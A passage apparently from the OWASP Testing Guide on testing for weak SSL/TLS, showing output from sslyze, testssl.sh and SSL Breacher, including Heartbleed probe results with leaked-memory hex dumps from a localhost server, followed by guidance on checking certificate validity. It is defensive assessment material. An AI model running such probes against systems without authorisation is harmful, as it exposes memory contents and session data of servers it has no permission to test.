Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate
Hostname Validation: MISMATCH
SHA1 Fingerprint: ******

Common Name: www.example.com
Issuer: ******
Serial Number: ****
Not Before: Sep 26 00:00:00 2010 GMT
Not After: Sep 26 23:59:59 2020 GMT

Signature Algorithm: sha1WithRSAEncryption
Key Size: 1024 bit
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}

* OCSP Stapling :
Server did not send back an OCSP response.

* Session Resumption :
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).
With TLS Session Tickets: Supported

* SSLV2 Cipher Suites :

Rejected Cipher Suite(s): Hidden

Preferred Cipher Suite: None

Accepted Cipher Suite(s): None

Undefined - An unexpected error happened: None

* SSLV3 Cipher Suites :

Rejected Cipher Suite(s): Hidden

Preferred Cipher Suite:
RC4-SHA 128 bits HTTP 200 OK

Accepted Cipher Suite(s):
CAMELLIA256-SHA 256 bits HTTP 200 OK
RC4-SHA 128 bits HTTP 200 OK
CAMELLIA128-SHA 128 bits HTTP 200 OK

Undefined - An unexpected error happened: None

* TLSV1_1 Cipher Suites :

Rejected Cipher Suite(s): Hidden

Preferred Cipher Suite: None

Accepted Cipher Suite(s): None

Undefined - An unexpected error happened:
ECDH-RSA-AES256-SHA socket.timeout - timed out
ECDH-ECDSA-AES256-SHA socket.timeout - timed out

* TLSV1_2 Cipher Suites :

Rejected Cipher Suite(s): Hidden

Preferred Cipher Suite: None

Accepted Cipher Suite(s): None

Undefined - An unexpected error happened:
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out

* TLSV1 Cipher Suites :

Rejected Cipher Suite(s): Hidden

Preferred Cipher Suite:
RC4-SHA 128 bits Timeout on HTTP GET

Accepted Cipher Suite(s):
CAMELLIA256-SHA 256 bits HTTP 200 OK
RC4-SHA 128 bits HTTP 200 OK
CAMELLIA128-SHA 128 bits HTTP 200 OK

Undefined - An unexpected error happened:
ADH-CAMELLIA256-SHA socket.timeout - timed out

SCAN COMPLETED IN 9.68 S
------------------------
</pre>

====Example 7. Testing SSL/TLS with testssl.sh====
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well.

It's a very easy to use tool. Here's some sample output (without colors):
<pre>
user@myhost: % testssl.sh owasp.org

########################################################
testssl.sh v2.0rc3 (https://testssl.sh)
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)

This program is free software. Redistribution +
modification under GPLv2 is permitted.
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!

Note you can only check the server against what is
available (ciphers/protocols) locally on your machine
########################################################

Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on
"myhost:/<mypath>/bin/openssl64"

Testing now (2014-04-17 15:06) ---> owasp.org:443 <---
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e")

--> Testing Protocols

SSLv2 NOT offered (ok)
SSLv3 offered
TLSv1 offered (ok)
TLSv1.1 offered (ok)
TLSv1.2 offered (ok)

SPDY/NPN not offered

--> Testing standard cipher lists

Null Cipher NOT offered (ok)
Anonymous NULL Cipher NOT offered (ok)
Anonymous DH Cipher NOT offered (ok)
40 Bit encryption NOT offered (ok)
56 Bit encryption NOT offered (ok)
Export Cipher (general) NOT offered (ok)
Low (<=64 Bit) NOT offered (ok)
DES Cipher NOT offered (ok)
Triple DES Cipher offered
Medium grade encryption offered
High grade encryption offered (ok)

--> Testing server defaults (Server Hello)

Negotiated protocol TLSv1.2
Negotiated cipher AES128-GCM-SHA256

Server key size 2048 bit
TLS server extensions: server name, renegotiation info, session ticket, heartbeat
Session Tickets RFC 5077 300 seconds

--> Testing specific vulnerabilities

Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok)
Renegotiation (CVE 2009-3555) NOT vulnerable (ok)
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok)

--> Checking RC4 Ciphers

RC4 seems generally available. Now testing specific ciphers...

Hexcode Cipher Name KeyExch. Encryption Bits
--------------------------------------------------------------------
[0x05] RC4-SHA RSA RC4 128

RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a

--> Testing HTTP Header response

HSTS no
Server Apache
Application (None)

--> Testing (Perfect) Forward Secrecy (P)FS)

no PFS available

Done now (2014-04-17 15:07) ---> owasp.org:443 <---

user@myhost: %

</pre>

STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.

The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it.

Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.

====Example 8. Testing SSL/TLS with SSL Breacher ====
This tool [99] is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.
It supports the following checks:
#HeartBleed
#ChangeCipherSpec Injection
#BREACH
#BEAST
#Forward Secrecy support
#RC4 support
#CRIME & TIME (If CRIME is detected, TIME will also be reported)
#Lucky13
#HSTS: Check for implementation of HSTS header
# HSTS: Reasonable duration of MAX-AGE
# HSTS: Check for SubDomains support
#Certificate expiration
#Insufficient public key-length
#Host-name mismatch
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)
#SSLv2 support
#Weak ciphers check
#Null Prefix in certificate
#HTTPS Stripping
#Surf Jacking
#Non-SSL elements/contents embedded in SSL page
#Cache-Control

<pre>
pentester@r00ting: % breacher.sh https://localhost/login.php

Host Info:
==============
Host : localhost
Port : 443
Path : /login.php

Certificate Info:
==================
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)
Expiration Date: Sat Nov 09 07:48:47 SGT 2019
Signature Hash Algorithm: SHA1withRSA
Public key: Sun RSA public key, 1024 bits
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517
public exponent: 65537
Signed for: CN=localhost
Signed by: CN=localhost
Total certificate chain: 1

(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)

=====================================

Certificate Validation:
===============================
[!] Signed using Insufficient public key length 1024 bits
(Refer to http://www.keylength.com/ for details)
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.

=====================================

Loading module: Hut3 Cardiac Arrest ...

Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...

[-] Connecting to 127.0.0.1:443 using SSLv3
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3
[-] Displaying response (lines consisting entirely of null bytes are removed):

0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

[-] Closing connection

[-] Connecting to 127.0.0.1:443 using TLSv1.0
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0
[-] Displaying response (lines consisting entirely of null bytes are removed):

0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

[-] Closing connection

[-] Connecting to 127.0.0.1:443 using TLSv1.1
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1
[-] Displaying response (lines consisting entirely of null bytes are removed):

0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

[-] Closing connection

[-] Connecting to 127.0.0.1:443 using TLSv1.2
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2
[-] Displaying response (lines consisting entirely of null bytes are removed):

0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

[-] Closing connection

[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/
[!] Vulnerability Status: VULNERABLE

=====================================

Loading module: CCS Injection script by TripWire VERT ...

Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...

[!] The target may allow early CCS on TLSv1.2
[!] The target may allow early CCS on TLSv1.1
[!] The target may allow early CCS on TLSv1
[!] The target may allow early CCS on SSLv3

[-] This is an experimental detection script and does not definitively determine vulnerable server status.

[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/
[!] Vulnerability Status: Possible

=====================================

Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...

[*] HTTP Compression: DISABLED
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf
[*] Vulnerability Status: No

--------------- RAW HTTP RESPONSE ---------------

HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html

<html>
<head>
<title>Login page </title>
</head>
<body>
<script src="http://othersite/test.js"></script>

<link rel="stylesheet" type="text/css" href="http://somesite/test.css">

=====================================

Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...

[!] STS response header: NOT PRESENT
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats
[!] Vulnerability Status: VULNERABLE

--------------- RAW HTTP RESPONSE ---------------

HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html

<html>
<head>
<title>Login page </title>
</head>
<body>
<script src="http://othersite/test.js"></script>

<link rel="stylesheet" type="text/css" href="http://somesite/test.css">

=====================================

Checking localhost for HTTP support against HTTPS Stripping attack ...

[!] HTTP Support on port [80] : SUPPORTED
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf
[!] Vulnerability Status: VULNERABLE

=====================================

Checking localhost:443 for HTTP elements embedded in SSL page ...

[!] HTTP elements embedded in SSL page: PRESENT
[!] Vulnerable to MITM malicious content injection attack
[!] Vulnerability Status: VULNERABLE

--------------- HTTP RESOURCES EMBEDDED ---------------
- http://othersite/test.js
- http://somesite/test.css

=====================================

Checking localhost:443 for ROBUST use of anti-caching mechanism ...

[!] Cache Control Directives: NOT PRESENT
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.
[!] Vulnerability Status: VULNERABLE

-------------------------------------------------

Robust Solution:

- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx

=====================================

Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...

[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES
[!] Vulnerable to Surf Jacking attack mentioned in https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf
[!] Vulnerability Status: VULNERABLE

--------------- RAW HTTP RESPONSE ---------------

HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html

=====================================

Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...

[*] Forward Secrecy: SUPPORTED
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.
[*] Vulnerability Status: No

=====================================

Checking localhost:443 for RC4 support (CVE-2013-2566) ...

[!] RC4: SUPPORTED
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/
[!] Vulnerability Status: VULNERABLE

=====================================

Checking localhost:443 for TLS 1.1 support ...

Checking localhost:443 for TLS 1.2 support ...

[*] TLS 1.1, TLS 1.2: SUPPORTED
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025
[*] Vulnerability Status: No

=====================================

Loading module: sslyze by iSecPartners ...

Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...

[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/
[*] Vulnerability Status: No

[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
[*] Vulnerability Status: No

=====================================

Loading module: TestSSLServer by Thomas Pornin ...

Checking localhost:443 for SSL version 2 support ...

[*] SSL version 2 : NOT SUPPORTED
[*] Immune from SSLv2-based MITM attack
[*] Vulnerability Status: No

=====================================

Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...

Supported LANE cipher suites:
SSLv3
RSA_EXPORT_WITH_RC4_40_MD5
RSA_EXPORT_WITH_RC2_CBC_40_MD5
RSA_EXPORT_WITH_DES40_CBC_SHA
RSA_WITH_DES_CBC_SHA
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
DHE_RSA_WITH_DES_CBC_SHA
TLS_ECDH_anon_WITH_RC4_128_SHA
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_anon_WITH_AES_256_CBC_SHA
(TLSv1.0: same as above)
(TLSv1.1: same as above)
(TLSv1.2: same as above)

[!] LANE ciphers : SUPPORTED
[!] Attackers may be ABLE to recover encrypted packets.
[!] Vulnerability Status: VULNERABLE

=====================================

Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...

Supported GCM cipher suites against Lucky13 attack:
TLSv1.2
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

[*] GCM/CCM ciphers : SUPPORTED
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html
[*] Vulnerability Status: No

=====================================

Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...

[*] TLS Compression : DISABLED
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf
[*] Vulnerability Status: No

=====================================

[+] Breacher finished scanning in 12 seconds.
[+] Get your latest copy at http://yehg.net/

</pre>

===Testing SSL certificate validity – client and server===
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer.

By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates.

These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services.

====Example 1. Testing for certificate validity (manually)====
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company.

We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site.

[[Image:SSL Certificate Validity Testing IE Warning.gif]]

''Warning issued by Microsoft Internet Explorer''

The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.

[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]

''Warning issued by Mozilla Firefox''

===Testing for other vulnerabilities===
